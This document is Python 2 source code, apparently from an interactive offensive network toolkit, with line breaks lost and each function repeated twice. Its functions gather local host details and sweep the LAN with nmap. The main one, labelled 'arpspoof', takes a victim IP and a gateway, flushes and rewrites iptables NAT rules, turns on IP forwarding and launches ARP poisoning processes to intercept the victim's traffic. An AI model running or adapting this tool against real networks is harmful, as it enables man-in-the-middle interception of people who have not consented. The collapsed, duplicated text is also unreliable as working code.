def iandi(): d.run() d.space() print " IP Local : ", ping.myip() ping.interfaces(1) ping.get_gateway(1) ping.my_mac_address(1) ping.get_external_ip() print " Username : "******" OS : ", commands.getoutput('uname') print " Version : ", commands.getoutput('uname -r') return 1
def iandi(): d.run() d.space() print " IP Local : ",ping.myip() ping.interfaces(1) ping.get_gateway(1) ping.my_mac_address(1) ping.get_external_ip() print " Username : "******" OS : ",commands.getoutput('uname') print " Version : ",commands.getoutput('uname -r') return 1
def hostl(run): global defaultnet,defaulttyp try: if run!=1: actions=raw_input(d.prompt("net/lanlive")) else: actions="run" if actions == "show options" or actions == "sop": d.option() d.descrip("nets","yes","Local area net",defaultnet) #d.descrip("type","no","type scan",defaulttyp) d.helpAUX() if ping.conneted()!=False: print " You IP : ",ping.myip() else: print d.noconnect() #print " Type : {fast}{intense}" d.space() hostl(0) elif actions[0:8] == "set nets": defaultnet=ping.update(defaultnet,actions,"nets") d.change("nets",defaultnet) elif actions[0:8] == "set type": defaulttyp=ping.update(defaulttyp,actions,"type") d.change("type",defaulttyp) elif actions=="exit" or actions=="x": d.goodbye() exit() elif actions=="help" or actions=="h": help.help() elif actions=="back" or actions=="b": return elif actions=="run" or actions=="r": d.run() try: d.space() ping.lan_ips(1) d.space() except: Errors.Errors(event=sys.exc_info(), info=False) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) hostl(0)
def hostl(run): global defaultnet,defaulttyp try: if run!=1: actions=raw_input(d.prompt("net/lanlive")) else: actions="run" if actions == "show options" or actions == "sop": d.option() d.descrip("nets","yes","Local area net",defaultnet) #d.descrip("type","no","type scan",defaulttyp) d.helpAUX() if ping.conneted()!=False: print " You IP : ",ping.myip() else: print d.noconnect() #print " Type : {fast}{intense}" d.space() hostl(0) elif actions[0:8] == "set nets": defaultnet=ping.update(defaultnet,actions,"nets") d.change("nets",defaultnet) elif actions[0:8] == "set type": defaulttyp=ping.update(defaulttyp,actions,"type") d.change("type",defaulttyp) elif actions=="exit" or actions=="x": d.goodbye() exit() elif actions=="help" or actions=="h": help.help() elif actions=="back" or actions=="b": return elif actions[0:5]=="save:": ping.SaveVariable(secuence=actions, matrix=IPs) elif actions=="run" or actions=="r": d.run() try: d.space() commands.getoutput(NMAP_PATH+' -sn '+str(defaultnet)+'/24 -oX tmp/ips.xml > null') GateWay=ping.get_gateway(2) tree = ET.parse('tmp/ips.xml') root = tree.getroot() IPf=0 counter=0 IP="" for host in root.findall('host'): for hosted in host.findall('address'): if hosted.get('addrtype') == "ipv4": IPf=hosted.get('addr') else: if GateWay == IPf : IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0] IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor'))) print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR "+colors[0] for HOST in IPs: counter=counter+1 print " ["+str(counter)+"]"+HOST d.space() commands.getoutput('rm tmp/ips.xml > null') except: Errors.Errors(event=sys.exc_info(), info=False) else: d.No_actions() except: Errors.Errors(event=sys.exc_info(), info=False) hostl(0)
def arpp(run): try: global defaultgat,defaultipv,defaultint if run!=1: actions=raw_input(d.prompt("net/arpspoof")) else: actions="run" if actions == "show options" or actions == "sop": d.option() d.descrip("target","yes","IP victim",defaultipv) d.descrip("gway","yes","Gateway-Router.",defaultgat) d.descrip("iterce","yes","Interface",defaultint) d.helpAUX() if ping.conneted()!=False: ping.interfaces(1) ping.get_gateway(1) ping.my_mac_address(1) d.space() if ping.conneted()!=False: commands.getoutput(NMAP_PATH+' -sn '+str(ping.myip())+'/24 -oX tmp/ips.xml > null') GateWay=ping.get_gateway(2) tree = ET.parse('tmp/ips.xml') root = tree.getroot() IPf=0 counter=0 IP="" for host in root.findall('host'): for hosted in host.findall('address'): if hosted.get('addrtype') == "ipv4": IPf=hosted.get('addr') else: if GateWay == IPf : IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0] IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor'))) print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR "+colors[0] for HOST in IPs: counter=counter+1 print " ["+str(counter)+"]"+HOST d.space() commands.getoutput('rm tmp/ips.xml > null') else: print d.noconnect() print "" arpp(0) elif actions[0:10] == "set target": defaultipv=ping.update(defaultipv,actions,"target") d.change("target",defaultipv) elif actions[0:8] == "set gway": defaultgat=ping.update(defaultgat,actions,"gway") d.change("gway",defaultgat) elif actions[0:10] == "set iterce": defaultint=ping.update(defaultint,actions,"iterce") d.change("iterce",defaultint) elif actions=="exit" or actions=="x": d.goodbye() exit() elif actions=="help" or actions=="h": help.help() elif actions=="back" or actions=="b": return return elif actions[0:5]=="save:": ping.SaveVariable(secuence=actions, matrix=IPs) elif actions=="run" or actions=="r": d.run() try: My_Ip=ping.myip() Tables=""" iptables --flush; iptables --zero; iptables --delete-chain; iptables -F -t nat; iptables --append FORWARD --in-interface """+defaultint+""" --jump ACCEPT; iptables --table nat --append POSTROUTING --out-interface """+defaultint+"""; """ print " "+Alr+" Ensure the victim recieves packets by forwarding them",ping.status_cmd('echo 1 > /proc/sys/net/ipv4/ip_forward','\t') print " "+Alr+" Configuring IPtables NAT",ping.status_cmd(Tables,'\t\t\t\t') print " "+Alr+" Starting ARP Poisoning..." try: z=multiprocessing.Process(target=Get_PoisoningTTG) t=multiprocessing.Process(target=Get_PoisoningTGT) t.start() z.start() NULL=raw_input(" "+Hlp+" Stop Attack ARP (PRESS ANY KEY)") print " "+Alr+" Stopping ARP Poisoning...", ping.status_cmd('killall arpspoof','\t\t\t\t') print " "+Alr+" Setting Normal configuration in forwarding",ping.status_cmd('echo 0 > /proc/sys/net/ipv4/ip_forward','\t\t') t.terminate() z.terminate() d.space() arpp(0) except: Errors.Errors(event=sys.exc_info(), info=False) except: Errors.Errors(event=sys.exc_info(), info=False) else: d.No_actions() except: Errors.Errors(event=sys.exc_info(), info=False) arpp(0)
def arpp(run): try: global defaultgat, defaultipv, defaultint if run != 1: actions = raw_input(d.prompt("net/arpspoof")) else: actions = "run" if actions == "show options" or actions == "sop": d.option() d.descrip("target", "yes", "IP victim", defaultipv) d.descrip("gway", "yes", "Gateway-Router.", defaultgat) d.descrip("iterce", "yes", "Interface", defaultint) d.helpAUX() if ping.conneted() != False: ping.interfaces(1) ping.get_gateway(1) ping.my_mac_address(1) d.space() if ping.conneted() != False: commands.getoutput(NMAP_PATH + ' -sn ' + str(ping.myip()) + '/24 -oX tmp/ips.xml > null') GateWay = ping.get_gateway(2) tree = ET.parse('tmp/ips.xml') root = tree.getroot() IPf = 0 counter = 0 IP = "" for host in root.findall('host'): for hosted in host.findall('address'): if hosted.get('addrtype') == "ipv4": IPf = hosted.get('addr') else: if GateWay == IPf: IPf = colors[8] + colors[ 4] + "{GW:" + IPf + "}" + colors[0] IPs.append(" " + IPf + " " + str(hosted.get('addr')) + " " + str(hosted.get('vendor'))) print " " + colors[10] + colors[ 7] + " # \t IP \t\t MAC \t\t VENDOR " + colors[ 0] for HOST in IPs: counter = counter + 1 print " [" + str(counter) + "]" + HOST d.space() commands.getoutput('rm tmp/ips.xml > null') else: print d.noconnect() print "" arpp(0) elif actions[0:10] == "set target": defaultipv = ping.update(defaultipv, actions, "target") d.change("target", defaultipv) elif actions[0:8] == "set gway": defaultgat = ping.update(defaultgat, actions, "gway") d.change("gway", defaultgat) elif actions[0:10] == "set iterce": defaultint = ping.update(defaultint, actions, "iterce") d.change("iterce", defaultint) elif actions == "exit" or actions == "x": d.goodbye() exit() elif actions == "help" or actions == "h": help.help() elif actions == "back" or actions == "b": return return elif actions[0:5] == "save:": ping.SaveVariable(secuence=actions, matrix=IPs) elif actions == "run" or actions == "r": d.run() try: My_Ip = ping.myip() Tables = """ iptables --flush; iptables --zero; iptables --delete-chain; iptables -F -t nat; iptables --append FORWARD --in-interface """ + defaultint + """ --jump ACCEPT; iptables --table nat --append POSTROUTING --out-interface """ + defaultint + """; """ print " " + Alr + " Ensure the victim recieves packets by forwarding them", ping.status_cmd( 'echo 1 > /proc/sys/net/ipv4/ip_forward', '\t') print " " + Alr + " Configuring IPtables NAT", ping.status_cmd( Tables, '\t\t\t\t') print " " + Alr + " Starting ARP Poisoning..." try: z = multiprocessing.Process(target=Get_PoisoningTTG) t = multiprocessing.Process(target=Get_PoisoningTGT) t.start() z.start() NULL = raw_input(" " + Hlp + " Stop Attack ARP (PRESS ANY KEY)") print " " + Alr + " Stopping ARP Poisoning...", ping.status_cmd( 'killall arpspoof', '\t\t\t\t') print " " + Alr + " Setting Normal configuration in forwarding", ping.status_cmd( 'echo 0 > /proc/sys/net/ipv4/ip_forward', '\t\t') t.terminate() z.terminate() d.space() arpp(0) except: Errors.Errors(event=sys.exc_info(), info=False) except: Errors.Errors(event=sys.exc_info(), info=False) else: d.No_actions() except: Errors.Errors(event=sys.exc_info(), info=False) arpp(0)